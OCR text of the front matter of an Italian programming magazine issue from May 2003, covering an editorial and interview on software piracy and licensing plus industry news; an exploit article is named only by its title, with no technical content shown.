Full text of "Io programmo 69"

See other formats

VERSIONE PLUS EURQ 

««VISTA * - 00 



EXPLOIT, COME PRENDERE "POSSESSO 
DI UN SISTEMA WINDOWS 2000 REMOTO 



VERSIONE PLUS 



RIVISTA+LIBRO+2CD € 15,00 



VERSIONE STANDARD 



RIVISTA+2CD € 7,70 



Periodicità mensile • MAGGIO 2003 • ANNO VII, N.5 (69) 

Poste Italiane " Spedizione in a.p. - 45% • art. 2 comma 20/b legge 662/96 - AUT. N. DCDC/033/01/CS/CAL 



ROGRAMMO 



■ SQL "XML ■ FLASH 

Un DATABASE. 

mille usi 

• Query SQL che restituiscono documenti XML 
adattabili a qualunque applicazione 

• Realizzare un'applicazione Flash MX 
che interagisce con un database 

• Creare una base di dati XML per gestire 
pagine Web in modo dinamico 




Java & Sicurezza 

Tutti gli accorgimenti per sviluppare 
applicazioni a prova di Hacker 



Excel approda 
sul Web 

Gli strumenti per pubblicare 
in Rete oggetti di Office XP 



Firma digitale 
fai da te 

Progettare l'interfaccia 
per la gestione delle chiavi 




N ALLEGATO 




SISTEMA 



i Delphi/Kylix, come 
sviluppare un'applicazione 
che gira anche su Linux 



ELETTRONICA 



i Pilotare una sequenza 
di led tramite porta seriale 



ADVANCED 



i JDO: memorizzare oggetti 
persistenti con Java 



CORSI 



i Visual Basic, creare help 
animati in stile Assistant 
di Office XP 

i VB .NET: la gestione degli 
insiemi di oggetti 
con le classi Collection 

i C#: una panoramica 
completa sulla gestione 
di Stringhe e Array 

i C++: Template 

ed Ereditarietà multipla 

MATLAB: guida 
all'utilizzo delle f unction 



FAQ & TIPS 



50 



SOLUZIONI 

pronte all'uso 




9"771128"594641 



3DS MAX: l'animazione di un personaggio o, m , =m 



ISSN 1128-594X 
30069 



MASTER 



Contents 



Anno VII - n. 5 (69) Maggio 2003 ► 

► ► ► Lavoro, il nostro primo diritto... 

Il problema della pirateria informatica è annoso ed è sempre 
fonte di notevoli discussioni, soprattutto tra la Business 
Software Alliance (BSA), associazione che difende i diritti delle 
software house, e la comunità Open Source, che difende invece 
la diffusione del software non proprietario. Inutile stare qui a 
filosofare sulle differenze di vedute tra chi difende a spada trat- 
ta i diritti d'autore, a qualsiasi costo e senza tener conto dei 
danni provocati agli utenti, e tra chi porta avanti un ideale di 
libertà di espressione da difendere. Meglio sottolineare, invece, 
un equivoco che in Italia, nonostante le posizioni della comunità 
Open Source, non sembra ancora essere stato risolto. Mi spiego 
meglio: software Ubero non significa software gratis. La comu- 
nità Open Source non incoraggia di certo la copia illegale dei 
programmi. La licenza GPL prevede infatti la possibilità di pro- 
teggere e, conseguentemente, di lucrare sulle parti di un'appli- 
cazione realizzate in proprio. Ciò che non permette, e che cerca 
anzi di evitare, è di vantare diritti e lucrare su parti di codice 
prodotte da altri e inserite, in malafede, nei propri software. Ci 
sono tantissimi esempi di applicazioni Linux a pagamento: 
StarOffice di Sun, la suite Corel, Oracle, ecc.. Tra l'altro, da 
diverse indagini commissionate dalla BSA, emerge un dato 
impressionante. Un recente studio di IDC afferma che, se il tasso 
di pirateria informatica calasse del 10% da qui al 2006, si pro- 
durrebbero in Italia quasi 18000 nuovi posti di lavoro nel setto- 
re hi-tech; quello che ci concerne da vicino, per intenderci. Le 
cifre, inoltre, non derivano da statistiche ottimistiche, bensì dal- 
l'esperienza registrata in altre nazioni, quali il Regno Unito, 
dove tra il 1995-2001 si è registrato il tasso di crescita più eleva- 
to, con ben 200.000 nuovi posti di lavoro in conseguenza di una 
diminuzione del tasso di pirateria. Anche la Spagna ha goduto 
di un beneficio simile. Per comprendere meglio il fenomeno, 
abbiamo intervistato Norberto Didier, Direttore Antipirateria e 
License Compliance di Microsoft Italia. Ne è venuto fuori un 
discorso molto interessante, con non poche sorprese. Si tratta di 
un aspetto, quello della pirateria, che vede gli sviluppatori coin- 
volti in prima persona, soprattutto in un momento di grave crisi 
del settore. Abbiamo tutti diritto alla libertà di espressione e di 
condivisione della conoscenza, ma anche al lavoro. L'Open 
Source è un ideale da rispettare e da condividere. La copia ille- 
gale è una mentalità - ma anche un reato - non più sostenibile. 

Thomas Zaffino 
thomas@edmaster.it 



Reportage 


6 


News 


9 


Software sul CD-Rom 


13 


Teoria & Tecnica 


27 



Realizzare un'applicazione Flash MX che interagisce con un database 27 
La sicurezza In Java 39 

Soluzioni 34 

Sorting Algoritmi efficienti 

Exploit 



44 



Windows 2000 Messo in crisi da uno 0-day exploit 
Biblioteca 



48 



Tips&Tricks 



49 



Elettronica 



56 



Il controllo di una sequenza di luci con la porta seriale 

Sistema 



62 



Delphi e Kylix insieme per lo sviluppo cross-platform 
I componenti Web di Office XP 

I corsi di ioProgrammo 



62 

67 

73 



MATLAB • Le funzioni 

VB .Net • Le Collezioni (o insiemi) di oggetti 

C++ • Template ed ereditarietà 

C# • Stringhe e array, un'analisi dettagliata 

VB • Caratteristiche avanzate di una guida in linea 

JSP • JavaBean un esempio concreto 

Multimedia 



73 
78 
83 
87 
92 
96 

100 



3D Studio Max • Creare una struttura ossea per un personaggio 
Advanced Edition 



106 



Java Data Objects Accesso ai database 

Query SQL che restituiscono documenti XML adattabili 

a qualunque applicazione 

E-government Crittografia e firma digitale (2 parte) 

Introduzione al Pattern Recognition (2 parte) 

In Box 



106 
111 

116 
121 

126 



Il Sito del mese 



128 



j(M 



ROGRAMMO 



Anno VII - N.ro 5 (69) - Maggio 2003 - Periodicità: Mensile 

Reg. Trìb. dì CS al n.ro 593 del 11 Febbraio 1997 

Cod. ISSN 1128-594X 

E-mail: ioprogrammo@edmaster.it 

http://www.edmaster.it/ioprogrammo 

Direttore Editoriale Massimo Sesti 
Direttore Responsabile Romina Sesti 
Responsabile Editoriale Gianmarco Bruni 
Responsabile Marketing Antonio Medurì 

Editor Gianfranco Forlino 

Coordinatore redazionale Raffaele del Monaco 

Redazione Antonio Pasqua, Thomas Zaffino 

Collaboratori M. Autiero, L. Buono, P Canini, M. Casario, P. De 

Nictolis, A. Faenza, E. Florio, M. Del Gobbo, F. Grimaldi, F. Lìppo, 

G. Naccarato, L. Nanni, S. Marano, A. Marroccelli, F. Mestrone, C. 

Pelliccia, F. Sara, G. D. Senatore, L. Spuntoni, F. Vaccaro. 

Segreteria di Redazione Veronica Longo 

REALIZZAZIONE GRAFICA CROMATIKA S.r.l. 
Coord. grafico: Paolo Cristiano 
Coord. tecnico: Giancarlo Sicilia 
Impaginazione elettronica: Aurelio Monaco 

"Rispettare l'uomo e l'ambiente in cui esso vive e lavora è una 

parte di tutto ciò che facciamo e di ogni decisione che prendiamo 

per assicurare che le nostre operazioni siano basate sul continuo 

miglioramento delle performance ambientali e sulla prevenzione 

dell 'inquinamento " 



-33 



Net i Certificato UNI EN ISO 14001 
£C0 ^Q^N. 9191 CRMT 

ReaMzzazione Multimediale SET S.r.l. 
Coordinamento Tecnico Piero Mannelli 
Ideazione Grafica Gianluca Carbone 
Realizzazione CD-Rom Paolo Iacona 

PUBBLICITÀ Edizioni Master S.r.l. 

Via Cesare Correnti, 1 - 20123 Milano 



Tel. 02 8321612 - Fax 02 8321754 
e-mail advertising@edmaster.it 
Coordinamento Vendite Digitstaff S.l. 
Agenti Vendita Serenella Scarpa, Cornelio Morari 
Segreteria Ufficio Vendite Daisy Zonato 

EDITORE Edizioni Master S.r.l. 

Sede di Milano: Via Cesare Correnti, 1 - 20123 Milano 

Tel. 02 8321482 - Fax 02 8321699 

Sede di Cosenza: C.da Lecco, zona ind. - 87030 Rende (CS) 

Amministratore Unico: Massimo Sesti 

ABBONAMENTO E ARRETRATI 

Italia: Costo abbonamento annuale base (11 numeri) € 59,00 
sconto 30% sul prezzo di copertina pari a € 84,70. 
Costo abbonamento Plus (11 numeri + 6 libri) € 89,90, sconto30% 
sul prezzo di copertina pari a € 128,50. 

Estero: Costo abbonamento annuale (11 numeri) € 169,40, costo 
abbonamento Plus (11 numeri + 6 libri) € 257,00. 
Costo arretrati (a copia): il doppio del prezzo di copertina + € 5,32 
spese (spedizione con corriere). Prima di inviare i pagamenti, verifi- 
care la disponibilità delle copie arretrate allo 028321482. 
La richiesta contenente i Vs. dati anagrafici e il nome della rivista, 
dovrà essere inviata via fax allo 028321699, oppure via posta a EDI- 
ZIONI MASTER via Cesare Correnti, 1 - 20123 Milano, dopo avere 
effettuato il pagamento, secondo le modalità di seguito elencate: 

• cc/p n. 16821878 o vaglia postale (inviando copia della ricevuta del 
versamento insieme alla richiesta); 

• assegno bancario non trasferibile (da inviarsi in busta chiusa 
insieme alla richiesta); 

• carta dì credito, circuito VISA, CARTASI', MASTERCARD/ EURO- 
CARD, (inviando la Vs. autorizzazione, il numero della carta, la 
data di scadenza e la Vs. sottoscrizione insieme alla richiesta). 

SI PREGA DI UTILIZZARE IL MODULO RICHIESTA ABBONAMENTO 
POSTO NELLE PAGINE INTERNE DELLA RIVISTA. L'abbonamento 
verrà attivato sul primo numero utile, successivo alla data della 
richiesta. 

Sostituzioni: Inviare il CD-Rom difettoso in busta chiusa a: 



Edizioni Master Servizio Clienti - Via Cesari Correnti, 1 - 20123 

Milano 

Assistenza tecnica: ioprogrammo@edmaster.it 

Servizio Abbonati: 

ftel.02 8321482 

> e-mail: servizioabbonati@edmaster.it 



Stampa: Elcograf Industria Grafica - Via Nazionale, 14 

Beverate di Brìvio (LC) 

Stampa CD-Rom: Disctronics Italia S.p.a. Vìa G. Rossini, 4 

Tribiano (MI) 

Distribuzione per l'Italia: Parrini & C S.p.A. - Roma 

Finito di stampare nel mese di Aprile 2003 

Nessuna parte della rivista può essere in alcun modo riprodotta 
senza autorizzazione scritta della Edizioni Master. Manoscritti e 
foto originali, anche se non pubblicati, non si restituiscono. Edi- 
zioni Master non si assume alcuna responsabilità per eventuali 
errori od omissioni di qualunque tipo. Nomi e marchi protetti 
sono citati senza indicare i relativi brevetti. Edizioni Master non 
sarà in alcun caso responsabile per i danni diretti e/o indiretti 
derivanti dall'utilizzo dei programmi contenuti nel CD-Rom e/o 
per eventuali anomalie degli stessi. Nessuna responsabilità è, 
inoltre, assunta dalla Edizioni Master per danni o altro derivanti 
da virus informatici non riconosciuti dagli antivirus ufficiali 
all'atto della masterizzazione del supporto. 



sin 



A.N.E.S. 



*■ 



L'Universo Tecnologico 

www.ltpartal.lt 



Edizioni Master edita: 

Idea Web, GolOnLine Internet Magazine, Win Magazine, 

Quale Computer, DVD Magazine, Office Magazine, ioProgrammo, 

Linux Magazine, Softline Software World, MPC, Discovery DVD, 

Computer Games Gold, inDVD, I Fantastici CD-Rom, 

PC VideoGuide, Il CD-Rom di Idea Web, I Corsi di Win Magazine, 

Le Collection. 



Antipirateria 

Intervista a Norberto Didier, Direttore Antipirateria e License 
Compliance di Microsoft Italia. 



La Business Software Alliance (BSA - 
zuww.bsa.org/italia) è l'organizzazione 
che meglio rappresenta l'industria del 
software nella lotta contro la pirateria infor- 
matica a livello mondiale, non solo per la du- 
plicazione abusiva, ma anche per quanto ri- 
guarda le nuove frontiere della criminalità 



che possono essere classificate come cybercri- 
me: cracking, hacking, spamming, distribu- 
zione illegale di software sui siti, gestione e 
accesso di minori a contenuti pedo-pornogra- 
fici, ecc.. 

Ogni anno, la BSA commissiona alla Interna- 
tional Planning & Research Corporation (IPR - 




► ►► 



www.ipniet.com) una ricerca mondiale che 
consente di avere una visione per singola na- 
zione, per continente o globale del fenomeno 
pirateria. La ricerca è tesa a quantificare, at- 
traverso una serie di parametri specifici, le 
perdite monetarie per i produttori di softwa- 
re. Per quanto riguarda l'Italia, danno eco- 
nomico è stimato in 500 milioni di euro solo 
per l'anno 2002. La stima, però, è assoluta- 
mente conservativa, poiché riguarda la perdi- 
ta di fatturato per i produttori di software, 
senza considerare, pertanto, il danno socio- 
economico connesso. Tra il produttore e l'u- 
tente finale, passando per i distributori e per i 
rivenditori, la catena del valore è seriamente 
danneggiata dal fenomeno della pirateria. 
Un altro problema è quello connesso alla con- 
correnza sleale prodotta dai rvenditori che di- 
stribuiscono software illegale ai soggetti che, 
invece, operano in maniera conforme alla leg- 
ge. C'è da considerare anche il problema so- 
ciale che deriva dai mancati introiti sul gettito 
fiscale. In Italia, infine, si stimano in 37.000 i 
posti di lavoro non creati. Un danno che si ag- 
giunge al già complicatissimo problema della 
disoccupazione, soprattutto per quanto ri- 
guarda i laureati. "In un periodo di congiun- 
tura economica negativa, un fenomeno en- 
demico come la pirateria informatica, che 
contrae i tassi di sviluppo tagliando posti di 
lavoro e non creandone di nuovi, produce 
un danno inaccettabile per una società che 
vuole dare certezze al futuro dei propri fi- 
gli", ci dice Norberto Didier, Direttore Antipi- 
rateria e License Compliance di Microsoft Ita- 
lia, che abbiamo intervistato per approfondire 
il tema della pirateria informatica in Italia. 

PIRATERIA E PREZZO 
DEL SOFTWARE 

L'ampia diffusione delle sue tecnolo- 
gie, dei propri sistemi operativi e ap- 

http://www.itport al.it 



□ 



plicazioni, anche sul lato server, hanno sicu- 
ramente favorito la crescita della quota di 
mercato di Microsoft, tanto che si può parla- 
re di una posizione di leadership. E' vero an- 
che però che Microsoft, nel corso degli ultimi 
anni, è il produttore che più ha contribuito al- 
l'abbassamento dei prezzi del software, por- 
tando sulle scrivanie di tutti gli utenti pro- 
dotti di estrema semplicità d'uso e di grande 
produttività. Ciononostante, mentre BSA la- 
menta mancati introiti per 500 milioni di eu- 
ro l'anno, c'è chi accusa Microsoft di costrin- 
gere i propri utenti a continui e spesso ingiu- 
stificati aggiornamenti, per non parlare dei 
prezzi alti dei propri software. 
Qual è la posizione dell'azienda su tale que- 
stione? 

Q L'abbassamento dei prezzi non è una 
variabile critica in grado di far dimi- 
nuire il fenomeno della pirateria. Da alcuni 
studi e da esperimenti effettuati in tutto il 
mondo, si dimostra che l'utente pirata non 
smette di esserlo in seguito al cambiamento 
del prezzo di un software. Non c'è elasticità 
del tasso di pirateria, in altri termini, ri- 
spetto al prezzo di acquisto del software. 
L'utente sa bene di commettere un illecito, 
ma continua a farlo perché lo considera er- 
roneamente come un reato minore. Questo 
fenomeno è diffuso maggiormente nei pae- 
si latini, un problema culturale quindi. La 
pirateria è un fenomeno in continuo au- 
mento, che si sta diffondendo anche a livel- 
lo aziendale. Microsoft, in questi anni, ha 
sviluppo una politica di formule di licenza, 
e relativi prezzi, il più possibile flessibile e 
incentrata sulle reali esigenze dei suoi 
clienti, tanto da essere stata talvolta critica 
per l'ampiezza del portafoglio dei prodotti 











International Planning & Research Corporatic-n 






■ 




IT UrnhH SH-in^ 






nolKior» (or lornt N IhrnM KM culi W™* md MMd oraHonra ìKing CMporMwi 

*'»■'■*'» *Q*^»tì->lWe tt pJ*"*^ .■IL,..,- .p.h.r. Ini- -.,10. Ojr : -fl j| y.W MnCH 




Punì Buttai) 

Canuti Hi 
flÉBclpHowl 


tà oiout CHitdliiifl eriyìgenitiKs ai tcinp4-l*J fti dot chimi wi i proporne Hid tiAf 
MWlrtMfcftlfl »™Jtu*lcmil#dtùH*-v#rrtu(wÌ74 tortliHtt look *l limi w*n pl-nrwij 

m^t i """""" " 





□ 



Fig. 1: L'International Planning & 
Research Corporation (IPR - 
www.iprnet.com) effettua ogni anno una 
ricerca mondiale che consente di avere 
una visione per singola nazione, per 
continente o globale del fenomeno 
pirateria. 



proposti. Si va dalle formule specifiche per 
le utenze domestiche fino alle formule spe- 
cifiche per le grandi aziende, anche multi- 
locate o di dimensioni multinazionali. 
Le formule di licenza permettono non solo 
di acquistare il software in maniera perpe- 
tua, ma anche di noleggiarlo con particolari 
contratti (sottoscrizioni). Sono previste an- 
che forme di abbonamento che consentono 
all'utente di poter fruire di un prodotto con- 
tinuamente aggiornato, al passo con le in- 
novazioni tecnologiche, rispondendo alle 
sue reali esigenze. 

LA CONCORRENZA 
OPEN SOURCE 

Tornando al prezzo delle applicazioni, 
sono ormai numerosi i produttori e di- 
stributori di PC che hanno deciso di abbando- 
nare la suite Office di Microsoft per proporre ai 
loro utenti le suite Open Office.org o Corel. Co- 
me si spiegano questi cambiamenti e quali ri- 
percussioni ci possono essere per Microsoft? 

QI competitor sono temuti come si teme 
una squadra di calcio avversaria. Sa- 
rebbe presuntuoso dire che Microsoft non 
teme i competitor. Esiste però una differenza 
tra il software e altri prodotti. Quando si ac- 
quista un'auto, ad esempio, la maggiore spe- 
sa è costituita dal prezzo di acquisto. Poi, nel 
tempo, ci sono costi di esercizio e un valore 
residuo che tende a diminuire progressiva- 
mente. Per il software, il discorso è comple- 
tamente invertito. Il prezzo iniziale è solo 
una piccola componente, che arriva al massi- 
mo al 15-20% del costo di possesso nell'inte- 
ro ciclo di vita del software. Quando si com- 
pra un'applicazione, non si può basare la 
scelta solo sul prezzo iniziale. Alcuni softwa- 
re, che inizialmente hanno un costo inferiore 
o che sono addirittura gratuiti, nel lungo pe- 
riodo possono avere un costo complessivo 
nettamente superiore rispetto ad altri inizial- 
mente più cari. Questo potrebbe essere il ca- 
so di Office e di prodotti simili realizzati di 
terze parti, anche considerando soluzioni 
Open Source. Sempre parlando di questa 
piattaforma, possiamo tranquillamente af- 
fermare che Office costituisce oggi uno stan- 
dard de facto, e non de iure, a livello mondia- 
le. Su questo pacchetto, sviluppano centinaia 
di migliaia di programmatori e decine di mi- 
gliaia di ISV (Independent Software Ven- 



dor), che producono soluzioni, prodotti e in- 
tegrazioni capaci di sfruttare tutte le poten- 
zialità della piattaforma Office. Il fatto di po- 
ter contare su un ambiente ricchissimo di so- 
luzioni è un enorme valore per gli utenti Mi- 
crosoft. Office, quindi, non può essere para- 
gonato ad altri prodotti, di tipo Open, che al 
momento non hanno né una market share né 
un'ampiezza di applicazioni disponibili co- 
me quelle della suite Microsoft. 
L'utilizzo del software libero non risolve di 
per sé il fenomeno della pirateria. Le aziende 
hanno bisogno di software che possano ga- 
rantire alcune funzionalità. Occorre aiutarle 
a migliorare le dinamiche del loro parco 
software, valorizzandolo e trasformandolo 
da costo a valore produttivo. La scelta del 
software, quindi, va effettuata in base alle 
funzionalità e al costo complessivo di pos- 
sesso, cioè quello relativo all'intero ciclo di 




Norberto Didier 

Norberto Didier 
è Direttore 
Antipirateria e 
License 
Compliance di 
Microsoft Italia. 
In questo ruolo, 
riporta alla Direzione 
della Divisione 
Small & 
Medium 
Business. 
Classe 1965, Didier è originario di 
Novara. Laureato in Fisica Nucleare 
all'Università di Torino, ha seguito 
numerosi corsi di formazione 
professionale e manageriale, fra cui il 
Master per Responsabili Pianificazione e 
Gestione d'Impresa del Centro Estero 
Piemonte di Torino. 

Lavora presso Microsoft Italia dal 1996, 
avendo ricoperto - prima di assumere la 
responsabilità delle attività Antipirateria 
informatica e License Compliance - il 
ruolo di Business Development Manager, 
responsabile del marketing, delle 
vendite e dei rapporti di collaborazione 
con il mondo delle PMI, delle 
Associazioni (Confindustria, ConfAPI, 
Confartigianato etc.) e dei Partner 
coinvolti in progetti con queste realtà. 
Prima di giungere in Microsoft, ha 
maturato esperienze in Dylog Italia - 
come Sales Area Manager - e in Sistemi 
(software gestionali per studi 
professionali e aziende), dove ha 
contribuito alla costituzione e allo 
sviluppo del Servizio Marketing, 
coordinando attività pubblicitarie, 
commerciali, di direct marketing, di 
ricerca, analisi e reporting. 



http: //www. itportal.it 



M 



g g 



3 ►►► 7 



vita. La valutazione delle applicazioni, in de- 
finitiva, va fatta sulla qualità del software. Il 
fatto che alcuni hardware vendor abbiano 
optato per la distribuzione di pacchetti alter- 
nativi a Microsoft Office rientra nelle nor- 
mali dinamiche di mercato. Sono azioni tese 
a fornire più scelta agli utenti. Microsoft non 
può che accogliere positivamente queste 
scelte, poiché è convinta della validità dei 
suoi prodotti. Microsoft è convinta anche 
della propria capacità di fare comprendere ai 
suoi clienti i benefici derivanti dall'utilizzo 
di un prodotto che ha sicuramente un prezzo 
superiore: la disponibilità di soluzioni di ter- 
ze parti, il supporto tecnico, la ricchezza del- 
le funzionalità, l'integrazione con altre ap- 
plicazioni, ecc. 




□ 



Fig. 2: Il manifesto della campagna 
antipirateria del 2001, che creò non 
pochi problemi tra BSA e numerosi 
esponenti della comunità Open Source, 
in particolare con Emmanuele Somma. 

IL PROBLEMA 
DELLA PRIVACY 

Windows XP rappresenta un punto di 
svolta nella distribuzione dei software. 
Per la prima volta si chiede all'utente di con- 
sentire, al produttore, l'accesso nel suo PC per 
effettuare aggiornamenti e vari controlli. Que- 
sta scelta è stata considerata da molti come un 
gran rischio per la privacy dell'utente. Qual è 
la posizione di Microsoft in merito a tale argo- 
mento? 

QLa tecnologia Product Activation, in- 
trodotta con Windows XP, ha l'obietti- 
vo di combattere il fenomeno del casual 
copyng, cioè della moltiplicazione delle di- 
stribuzioni a partire da un CD, costringen- 
do l'utente a richiedere una chiave di attiva- 
zione gestita da Microsoft, con la possibilità 
di effettuare un numero controllato di atti- 
vazioni. Tale tecnologia è stata introdotta 
solo per i prodotti scatolati (quelli relativi 
alla grande distribuzione), mentre nei pro- 



dotti destinati alle aziende, che vengono ac- 
quistati attraverso contratti di volume, la 
tecnologia non è presente. Il Product Acti- 
vation non è una tecnologia invasiva. Legge 
alcuni parametri fisici della macchina senza 
associarli ad un utente. Crea una configura- 
zione che sia univoca, associando a questa 
configurazione una chiave di sblocco, senza 
che alla chiave venga associato il nome di 
un utente. Se si effettua qualche modifica 
all'hardware, l'utente può richiedere una 
nuova chiave di attivazione. Anche cam- 
biando l'intero computer si può richiedere 
una nuova chiave di attivazione. Chiara- 
mente, frequenti cambi di hardware posso- 
no essere considerati sospetti da parte di 
Microsoft. 




Fig. 3: Tra le varie misure adottate da 
Microsoft contro la pirateria, c'è quella 
dei mistery shopper: acquirenti camuffati 
che si recano presso i negozi per verifica- 
re la leggittimità dei comportamenti dei 
rivenditori, acquistando prodotti Micro- 
soft e controllandone la regolarità della 
licenza d'uso. 



□ 



Sempre a proposito di Windows XP, la 
necessità di mettere il proprio PC sotto 
controllo di Microsoft e di altri produttori di 
software non finirà per incoraggiare gli utenti 
a migrare verso la piattaforma Linux? 

L'utente non deve trasmettere nessun 
dato a Microsoft, a meno che egli lo 
voglia. Viene sottoposto un contratto che 
deve essere accettato dall'utente. Non c'è 
nessun rischio per la privacy. C'è semmai 
un tipo di mentalità che tende a vedere la 
Rete come un Grande Fratello che sbircia 
nei computer degli utenti... 



□ 



I RIVENDITORI 
HARDWARE 

Sempre dai dati della ricerca emerge un 
quadro preoccupante in merito ai riven- 
ditori di hardware. Come si spiega che oltre il 
30% dei commercianti di Milano installa ver- 
sioni pirata di software Microsoft sui PC in 
vendita, e com'è possibile arginare questo pro- 
blema? 

QSi tratta sicuramente un problema di 
cultura del negoziante medio italiano, 
che spesso è portato a chiudere la vendita 
facendo leva sul prezzo. L'hardware ha un 
costo che non può essere abbattuto. Il 
software, invece, laddove è possibile pira- 
tarlo, può essere portato ad un costo nullo. 
Pur di concludere la vendita, il negoziante 
commette l'illecito, rinunciando difatti al 
guadagno che deriverebbe dalla vendita del 
software. È un comportamento paradossale 
se si pensa che, non vendendo il prodotto, il 
negoziante non ricava alcun guadagno, non 
viene pagata PIVA, diminuisce il suo volu- 
me d'affari, non può assumere personale, 
ecc.. Per fortuna si tratta di una minoranza 
di operatori. Il problema può essere supera- 
to attraverso una maggiore informazione te- 
sa da una parte a far capire i vantaggi deri- 
vanti dalla vendita di un software originale, 
dall'altra a guidare i consumatori nell'ac- 
quisto di software originale. 



13 



Nelle attività di lotta contro la pirateria e 
la contraffazione, numerose aziende ri- 
corrono all'impiego dei cosiddetti mistery 
shopper: acquirenti camuffati che si recano 
presso i rivenditori per verificare eventuali 
comportamenti illegittimi. Microsoft è fra que- 
ste? 

L'attività di controllo sul territorio è 
continua e capillare. Nell'arco di ven- 
ti giorni, nell'ambito di una campagna ef- 
fettuata in Lombardia tra il mese di Ottobre 
e il mese di Novembre '02, sono stati con- 
trollati oltre 150 punti vendita. Si tratta però 
di un'attività molto impegnativa, dal punto 
di vista logistico, e molto onerosa. E' co- 
munque un modo molto efficace per tutela- 
re utenti e rivenditori onesti. Il diritto d'au- 
tore è senz'altro un valore della società con- 
temporanea che va assolutamente difeso. 

Thomas Zaffino 



8 ►►► M 



9 9 



http ://www.itport al.it 



NEWS 



News 



Visual Studio .NET 
2003 e Windows 
Server 2003 

Giovedì 8 maggio, Microsoft 
presenterà le nuove versioni 
dei suoi prodotti di punta per 
i professionisti dell'IT 

Nella cornice degli East End Studios 
di Milano, Microsoft Italia presen- 
terà in grande stile i due attesissimi pro- 
dotti. Windows Server 2003 promette di 
abbattere i costi di gestione, semplifican- 
do e rendendo più sicuri i servizi di 
comunicazione e collaborazione anche 
grazie ai miglioramenti nella gestione di 
Active Directory, in particolar modo per 
ciò che riguarda il controllo della identità 
degli utenti. L'attesa è grande anche per 
ciò che riguarda la nuova architettura di 
Internet Information Server 6.0. 
Molta carne al fuoco anche per gli svi- 
luppatori che potranno scoprire le possi- 
bilità offerte dalla integrazione del .NET 
Compact Framework per lo sviluppo di 
applicazioni per Pocket PC e tutti i 
dispositivi compatibili con Windows CE. 
Grande attenzione sarà data all'integra- 
zione fra l'application server di 
Windows Server 2003 e VS.NET 2003, 
integrazione che consente di realizzare, 
in un ambiente RAD, applicazioni distri- 
buite sicure e con interfacce particolar- 




m 
m 







mente accattivanti. L'evento di lancio 
non sarà una semplice occasione pubbli- 
citaria: divise fra mattina e pomeriggio, 
sono previste diverse sessioni, tenute da 
qualificati tecnici Microsoft, in cui sarà 
spiegato come trarre vantaggio da queste 
nuove tecnologie. La partecipazione è 
gratuita. 

http://www.microsoft.com/italy/windowsserver2003 

/default, mspx 



Un Flash fuori 
dal browser 



Macromedia spera 

di trasformare le animazioni 

in vere e proprie applicazioni 

Con la nuova tecnologia Macromedia 
Central sarà possibile distribuire 
applicazioni che funzionino anche al di 
fuori del browser: soluzione ideale per 
PC che non godano di una connessione 
Always on e per applicazioni mobile. 




L'offerta di servizi e applicazioni Web è 
in continua crescita, si rende dunque 
necessaria la possibilità di utilizzare i 
nuovi strumenti sia on-line sia off-line: 
con la nuova piattaforma Macromedia, le 
applicazioni Flash potranno dunque fun- 
zionare al di fuori del browser anche 
quando l'utente è disconnesso. All'atto 
della connessione, l'applicazione potrà 
collegarsi automaticamente al servizio 
web o al database remoto, in modo del 



tutto trasparente per gli utenti. 
Macromedia punta tutto sulla semplicità 
di realizzazione di queste tecniche: tutte 
queste funzionalità sono già oggi concre- 
tizzabili, ma solo a costo di grossi inve- 
stimenti. A tutto questo ci potrebbe esse- 
re un rovescio della medaglia: tutta l'in- 
frastruttura sarà proprietaria, bloccando, 
di fatto, una delle caratteristiche che ave- 
vano fatto i web services la terra promes- 
sa della programmazione. Staremo a 
vedere. 

www.macromedia.com/devnet/central/ 



Il futuro è 
Smartphone 

Secondo IDC Research, 
quello degli Smartphone è 
un mercato in continua 
espansione 

Secondo la ricerca, il mercato degli 
Smartphone sarà così diviso: 
Symbian 53%, Microsoft 27%, Palm 10%, 
Linux 4,2%. Ma la battaglia di Microsoft 
per la supremazia nel settore dei softwa- 
re per cellulari è entrata nel vivo in occa- 
sione del convegno annuale della 
Cellular Telecommunications and 
Internet Association di New Orleans... 
Il convegno CTIA si è aperto con l'an- 
nuncio che un nuovo produttore, 
Research In Motion (RIM), andrà ad 
aggiungersi alla lista di coloro che svi- 
luppano nuovi telefoni utilizzando il 
software Microsoft per la telefonia mobi- 
le. Nella sua inusuale apparizione, il pre- 
sidente di Microsoft in persona, Bill 
Gates, ha preso la parola per promuove- 
re il software Pocket PC Phone Edition e 
Smartphone 2002 prodotto dalla sua 
azienda. Nella convinzione che nell'era 
del mobile, del post-PC, Microsoft debba 
sostenere un ruolo importante per l'inte- 
grazione e l'innovazione delle tecnologie, 
Gates affronta senza troppi scrupoli un 
mercato ormai sempre più lontano dai 
PC che hanno reso Microsoft il principale 



http:// www. itportal.it 



M a g g 



2 3 ►►► 9 



w 




produttore di software nel mondo. 
Microsoft si prepara infatti ad allonta- 
narsi ulteriormente da questo settore per 
avventurarsi in tutto ciò che è mobile: la 
piattaforma Smartphone per i telefoni 
cellulari di nuova generazione, Pocket 
PC per i PDA, Media2Go per i dispositi- 
vi audio/video portatili, SPOT per i gad- 
get hi-tech, Smart Display per gli scher- 
mi wireless, Tablet PC per i computer 
portatili e, più in generale, a tutti i dispo- 
sitivi basati su una qualche versione del 
sistema operativo embedded Windows 
CE, inclusi quelli per il settore automobi- 
listico. Per ora si tratta di un mercato 
molto nuovo, con circa due milioni di 
apparecchi in circolazione. Per avere un 
termine di paragone, l'anno scorso sono 
stati venduti 400 milioni di cellulari tra- 
dizionali. Si prevede, tuttavia, che il mer- 
cato dei telefoni cellulari sia in forte cre- 
scita. Gates ha affermato che la strategia 
chiave di Microsoft è di consentire ai 
dispositivi di ogni forma e dimensione 
di poter comunicare fra loro e di intera- 
gire con i servizi sul web in un modo 
standard, così da facilitare la realizzazio- 
ne, per gli sviluppatori e le imprese, di 
applicazioni in grado di girare su presso- 
ché tutti i dispositivi in circolazione. Per 
rendere tutto ciò una realtà, Microsoft 
punta sulla propria piattaforma MS 
.NET, la tecnologia che secondo Gates 
sarà presto in grado di girare su qualsia- 
si tipo di device, dai server agli orologi 
da polso. Pochi giorni prima, Gates ha 
annunciato il rilascio della versione fina- 
le di .NET Compact Framework, un sot- 
toinsieme del cuore della piattaforma 
.NET progettata per i dispositivi a basso 
consumo, come i PDA e gli Smartphone. 
L'obiettivo di Microsoft è supportare e 
incoraggiare lo sviluppo di una più vasta 



gamma di applicazioni mobile - dalle 
applicazioni enterprise ai giochi - basate 
su.NET Microsoft ha già anticipato che 
tutte le future versioni del proprio 
ambiente di sviluppo, a partire da Visual 
Studio.NET 2003, supporteranno il .NET 
Compact Framework. 
La battaglia è appena all'inizio. . . 



www.idcresearch.com 



Disponibile la Borland 
Enterprise Suites 

